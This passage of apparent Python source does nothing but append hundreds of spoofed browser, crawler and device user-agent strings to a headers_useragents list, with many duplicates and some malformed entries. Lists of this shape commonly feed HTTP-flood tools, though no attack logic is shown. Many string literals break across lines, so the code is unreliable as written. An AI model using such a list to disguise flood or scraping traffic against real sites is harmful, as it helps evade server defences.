headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
